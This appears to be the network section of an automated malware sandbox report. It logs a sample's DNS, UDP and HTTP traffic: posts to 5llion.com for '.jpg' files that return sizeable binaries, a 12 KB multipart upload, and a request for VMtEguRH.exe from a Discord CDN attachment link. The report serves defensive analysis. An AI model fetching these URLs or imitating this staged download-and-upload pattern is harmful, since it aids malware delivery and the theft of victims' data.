Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| 5llion.com | 31.210.20.99 | |
| cdn.discordapp.com | 162.159.135.233 |
- UDP Requests
-
-
192.168.56.102:57660 164.124.101.2:53
-
192.168.56.102:61459 164.124.101.2:53
-
192.168.56.102:137 192.168.56.255:137
-
192.168.56.102:138 192.168.56.255:138
-
192.168.56.102:49152 239.255.255.250:3702
-
192.168.56.102:56752 239.255.255.250:1900
-
192.168.56.102:56754 239.255.255.250:3702
-
192.168.56.102:56756 239.255.255.250:3702
-
192.168.56.102:56758 239.255.255.250:3702
-
GET
403
https://cdn.discordapp.com/attachments/808882061918076978/836771636082376724/VMtEguRH.exe
REQUEST
RESPONSE
BODY
GET /attachments/808882061918076978/836771636082376724/VMtEguRH.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Host: cdn.discordapp.com
Connection: Keep-Alive
HTTP/1.1 403 Forbidden
Date: Thu, 29 Apr 2021 01:46:54 GMT
Content-Type: application/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=df08715278a67bb2cd09e810e57c8da131619660813; expires=Sat, 29-May-21 01:46:53 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax
CF-Ray: 6474dbf6195be9d0-ICN
Cache-Control: private, max-age=0
Expires: Thu, 29 Apr 2021 01:46:54 GMT
Vary: Accept-Encoding
CF-Cache-Status: EXPIRED
Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400
cf-request-id: 09bce7cdce0000e9d056aaf000000001
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-GUploader-UploadID: ABg5-UxIIwrHdP1YaVHummi6ltxMN6pFuLGGs713jN8AdmYBhQgswxbJOivhPj80QnKPW-glJlydap29jE6Ag7Ay-s8QMnJZ4Q
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"max_age":604800,"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=KQqn2p1jkskFKPvVhvUW256W%2F5JkhTQK5SY9vLXS0%2F5rl4dHNplASVr%2F1KsvhrFSS4mEckBVMuVz%2B5ntO64XseZQyyMP6MVjFah6bQwlawODKW4%3D"}]}
NEL: {"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Content-Encoding: gzip
POST
200
http://5llion.com/6.jpg
REQUEST
RESPONSE
BODY
POST /6.jpg HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 25
Host: 5llion.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 01:46:46 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Thu, 06 Jun 2019 11:01:52 GMT
ETag: "235d0-58aa5a429e800"
Accept-Ranges: bytes
Content-Length: 144848
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/jpeg
POST
200
http://5llion.com/1.jpg
REQUEST
RESPONSE
BODY
POST /1.jpg HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 25
Host: 5llion.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 01:46:47 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Mon, 07 Aug 2017 02:52:20 GMT
ETag: "9d9d8-55620ef764100"
Accept-Ranges: bytes
Content-Length: 645592
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: image/jpeg
POST
200
http://5llion.com/2.jpg
REQUEST
RESPONSE
BODY
POST /2.jpg HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 25
Host: 5llion.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 01:46:48 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Thu, 06 Jun 2019 11:00:58 GMT
ETag: "519d0-58aa5a0f1ee80"
Accept-Ranges: bytes
Content-Length: 334288
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: image/jpeg
POST
200
http://5llion.com/3.jpg
REQUEST
RESPONSE
BODY
POST /3.jpg HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 25
Host: 5llion.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 01:46:49 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Thu, 06 Jun 2019 11:01:20 GMT
ETag: "217d0-58aa5a241a000"
Accept-Ranges: bytes
Content-Length: 137168
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: image/jpeg
POST
200
http://5llion.com/4.jpg
REQUEST
RESPONSE
BODY
POST /4.jpg HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 25
Host: 5llion.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 01:46:49 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Thu, 06 Jun 2019 11:01:30 GMT
ETag: "6b738-58aa5a2da3680"
Accept-Ranges: bytes
Content-Length: 440120
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: image/jpeg
POST
200
http://5llion.com/5.jpg
REQUEST
RESPONSE
BODY
POST /5.jpg HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 25
Host: 5llion.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 01:46:49 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Thu, 06 Jun 2019 11:01:44 GMT
ETag: "1303d0-58aa5a3afd600"
Accept-Ranges: bytes
Content-Length: 1246160
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: image/jpeg
POST
200
http://5llion.com/7.jpg
REQUEST
RESPONSE
BODY
POST /7.jpg HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 25
Host: 5llion.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 01:46:51 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Thu, 06 Jun 2019 11:02:02 GMT
ETag: "14748-58aa5a4c27e80"
Accept-Ranges: bytes
Content-Length: 83784
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: image/jpeg
POST
200
http://5llion.com/main.php
REQUEST
RESPONSE
BODY
POST /main.php HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 25
Host: 5llion.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 01:46:52 GMT
Server: Apache/2.4.25 (Debian)
Content-Length: 0
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
POST
200
http://5llion.com/
REQUEST
RESPONSE
BODY
POST / HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 12630
Host: 5llion.com
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 29 Apr 2021 01:46:53 GMT
Server: Apache/2.4.25 (Debian)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 102
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
GET
301
http://cdn.discordapp.com/attachments/808882061918076978/836771636082376724/VMtEguRH.exe
REQUEST
RESPONSE
BODY
GET /attachments/808882061918076978/836771636082376724/VMtEguRH.exe HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Host: cdn.discordapp.com
Connection: Keep-Alive
HTTP/1.1 301 Moved Permanently
Date: Thu, 29 Apr 2021 01:46:53 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=3600
Expires: Thu, 29 Apr 2021 02:46:53 GMT
Location: https://cdn.discordapp.com/attachments/808882061918076978/836771636082376724/VMtEguRH.exe
cf-request-id: 09bce7cd97000061c5190ab000000001
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=wKLAv7ICk41meNCoOa7w3JC%2FRR41OUjTnLJX0JY02mxNfbyLXaNJO1xkyvVbvu0MTrgJMMOX3BvlcW5sOh01%2FebYjQBhve8%2FUkXDPTo4w2dfRfY%3D"}]}
NEL: {"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 6474dbf5bf3f61c5-ICN
alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.102:49824 162.159.129.233:443 |
C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 | C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com | a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da |
Snort Alerts
No Snort Alerts